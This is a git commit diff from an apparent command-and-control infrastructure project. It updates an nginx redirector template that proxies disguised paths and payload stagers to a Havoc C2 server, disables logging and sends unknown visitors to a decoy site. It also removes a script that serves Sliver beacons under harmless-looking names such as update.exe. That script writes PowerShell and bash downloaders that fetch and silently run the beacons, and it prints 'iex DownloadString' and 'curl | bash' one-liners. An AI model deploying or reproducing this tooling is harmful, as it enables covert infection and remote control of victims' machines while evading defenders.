fixing old sliver stuff
This commit is contained in:
n0mad1k
@@ -1,7 +1,25 @@
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server {
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listen 80;
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listen [::]:80;
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server_name cdn.{{ domain }};
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server_name {{ redirector_subdomain }}.{{ domain }};
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# Redirect to HTTPS
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return 301 https://$host$request_uri;
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}
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server {
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listen 443 ssl;
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listen [::]:443 ssl;
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server_name {{ redirector_subdomain }}.{{ domain }};
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# SSL Configuration
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ssl_certificate /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/fullchain.pem;
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ssl_certificate_key /etc/letsencrypt/live/{{ redirector_subdomain }}.{{ domain }}/privkey.pem;
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ssl_protocols TLSv1.2 TLSv1.3;
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ssl_prefer_server_ciphers on;
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ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
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ssl_session_timeout 1d;
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ssl_session_cache shared:SSL:10m;
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# Root directory
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root /var/www/html;
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@@ -12,29 +30,85 @@ server {
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try_files $uri $uri/ =404;
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}
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# Special URI patterns for C2 traffic
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location /ajax/ {
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proxy_pass http://{{ c2_ip }}:8888;
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# Havoc C2 HTTP listener paths (replacing Sliver /ajax/ paths)
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location ~ ^/api/v[12]/ {
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proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }};
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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}
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# Havoc C2 dashboard and content paths
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location ~ ^/(dashboard|content)/ {
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proxy_pass https://{{ c2_ip }}:{{ havoc_https_port | default(443) }};
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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proxy_set_header Upgrade $http_upgrade;
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proxy_set_header Connection "upgrade";
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proxy_ssl_verify off;
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}
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# Havoc static resources path (replacing Sliver /static/ path)
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location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
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proxy_pass http://{{ c2_ip }}:{{ havoc_http_port | default(8080) }};
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Static resources that redirect to C2
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location ~ ^/static/(css|js|images)/.*\.(css|js|png|jpg|jpeg|gif|ico)$ {
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proxy_pass http://{{ c2_ip }}:8888;
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# Payload stager paths for Havoc
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location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
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proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Payload content paths for Havoc
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location ~ ^/content/(windows|linux)/(.+)$ {
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proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
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proxy_http_version 1.1;
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proxy_set_header Host $host;
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proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
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proxy_set_header X-Real-IP $remote_addr;
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}
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# Security headers
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add_header X-Content-Type-Options "nosniff" always;
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add_header X-Frame-Options "SAMEORIGIN" always;
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add_header X-XSS-Protection "1; mode=block" always;
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add_header Referrer-Policy "no-referrer" always;
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add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
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# Disable logging for this server block if zero-logs is enabled
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{% if zero_logs | default(true) | bool %}
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access_log off;
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error_log /dev/null crit;
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{% endif %}
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}
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# Catch-all server block
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# Catch-all server block to respond to unknown hosts
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server {
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listen 80 default_server;
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listen [::]:80 default_server;
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listen 443 ssl default_server;
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listen [::]:443 ssl default_server;
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# Redirect unknown traffic
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# Self-signed cert for catch-all
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ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
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ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
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# Redirect all unknown traffic to a legitimate-looking site
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return 301 https://www.google.com;
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}
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# Disable logs
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access_log off;
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error_log /dev/null crit;
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}
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@@ -1,197 +0,0 @@
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#!/bin/bash
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# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
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# Configuration
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BEACONS_DIR="/root/Tools/beacons"
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C2_HOST="{{ ansible_host }}"
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LISTEN_PORT=8443
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# Check if manifest file exists (created by generate_evasive_beacons.sh)
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if [ -f "$BEACONS_DIR/manifest.json" ]; then
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echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
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# Extract beacon paths from manifest
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WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
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WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
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LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
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MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
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WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
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# Print beacon info
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echo "[+] Using these Sliver beacons:"
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echo " - Windows EXE: $WIN_EXE"
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echo " - Windows DLL: $WIN_DLL"
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echo " - Linux Binary: $LINUX_BIN"
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echo " - macOS Binary: $MAC_BIN"
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echo " - Windows Stager: $WIN_STAGER"
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else
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echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
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echo "[!] Will search for beacons in $BEACONS_DIR..."
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# Try to find beacons directly
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WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
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WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
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LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
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MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
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WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
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# Check if we found any beacons
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if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
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echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
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exit 1
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fi
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fi
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# Create temporary directory for web server
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TEMP_DIR=$(mktemp -d)
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mkdir -p $TEMP_DIR/downloads
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mkdir -p $TEMP_DIR/scripts
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# Copy beacons to web directory with generic names
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if [ -n "$WIN_EXE" ]; then
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cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
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echo "[+] Serving Windows EXE: $WIN_EXE"
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fi
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if [ -n "$WIN_DLL" ]; then
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cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
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echo "[+] Serving Windows DLL: $WIN_DLL"
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fi
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if [ -n "$LINUX_BIN" ]; then
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cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
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echo "[+] Serving Linux Binary: $LINUX_BIN"
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fi
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if [ -n "$MAC_BIN" ]; then
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cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
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echo "[+] Serving macOS Binary: $MAC_BIN"
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fi
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if [ -n "$WIN_STAGER" ]; then
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cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
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echo "[+] Serving Windows Stager: $WIN_STAGER"
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fi
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# Copy loader scripts if they exist
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if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
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cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
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echo "[+] Serving Windows PowerShell loader"
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fi
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if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
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cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
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echo "[+] Serving Linux bash loader"
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fi
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# Create additional PowerShell downloader script
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cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
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# PowerShell downloader for Sliver beacons
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$ErrorActionPreference = 'SilentlyContinue'
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[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
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# Random temporary file
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$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
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# Download and execute
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try {
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$webClient = New-Object System.Net.WebClient
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$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
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$webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
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Start-Process -WindowStyle Hidden $tempFile
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"Successfully downloaded and executed update."
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} catch {
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"Error during update process."
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}
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EOFPS
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# Replace placeholders
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sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
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sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
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# Create Linux bash download script
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cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
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#!/bin/bash
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# Linux download and execute Sliver beacon
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# Download binary to /tmp with random name
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TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
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curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
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chmod +x $TMPFILE
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# Execute in background
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$TMPFILE &
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echo "Update complete."
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EOFSH
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# Replace placeholders
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sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
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sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
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chmod +x $TEMP_DIR/scripts/beacon.sh
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# Create helpful index page
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cat > $TEMP_DIR/index.html << EOL
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<!DOCTYPE html>
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<html>
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<head>
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<title>Sliver Beacon Downloads</title>
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<style>
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body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
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h1 { color: #333; }
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.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
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.warning { color: #a00; font-weight: bold; }
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code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
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</style>
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</head>
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<body>
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<h1>Sliver Beacon Downloads</h1>
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<div class="section">
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<h2>Available Beacons</h2>
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<ul>
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<li><a href="/downloads/update.exe">Windows Beacon</a></li>
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<li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
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<li><a href="/downloads/update-linux">Linux Beacon</a></li>
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<li><a href="/downloads/update-mac">macOS Beacon</a></li>
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<li><a href="/downloads/stager.exe">Windows Stager</a></li>
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</ul>
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</div>
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<div class="section">
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<h2>Auto-Download Scripts</h2>
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<ul>
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<li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
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<li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
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<li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
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<li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
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</ul>
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</div>
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<div class="section">
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<h2>Quick Commands</h2>
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<p>Windows PowerShell:</p>
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<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
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<p>Linux Bash:</p>
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<code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
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</div>
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</body>
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</html>
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EOL
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# Start Python HTTP server in background
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cd $TEMP_DIR
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nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
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SERVER_PID=$!
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echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
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# Print useful information for the operator
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echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
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echo "[+] Available Sliver beacons:"
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echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
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echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
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echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
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echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
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echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
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echo ""
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echo "[+] Quick PowerShell download command:"
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echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
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echo ""
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echo "[+] Quick Linux download command:"
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echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"
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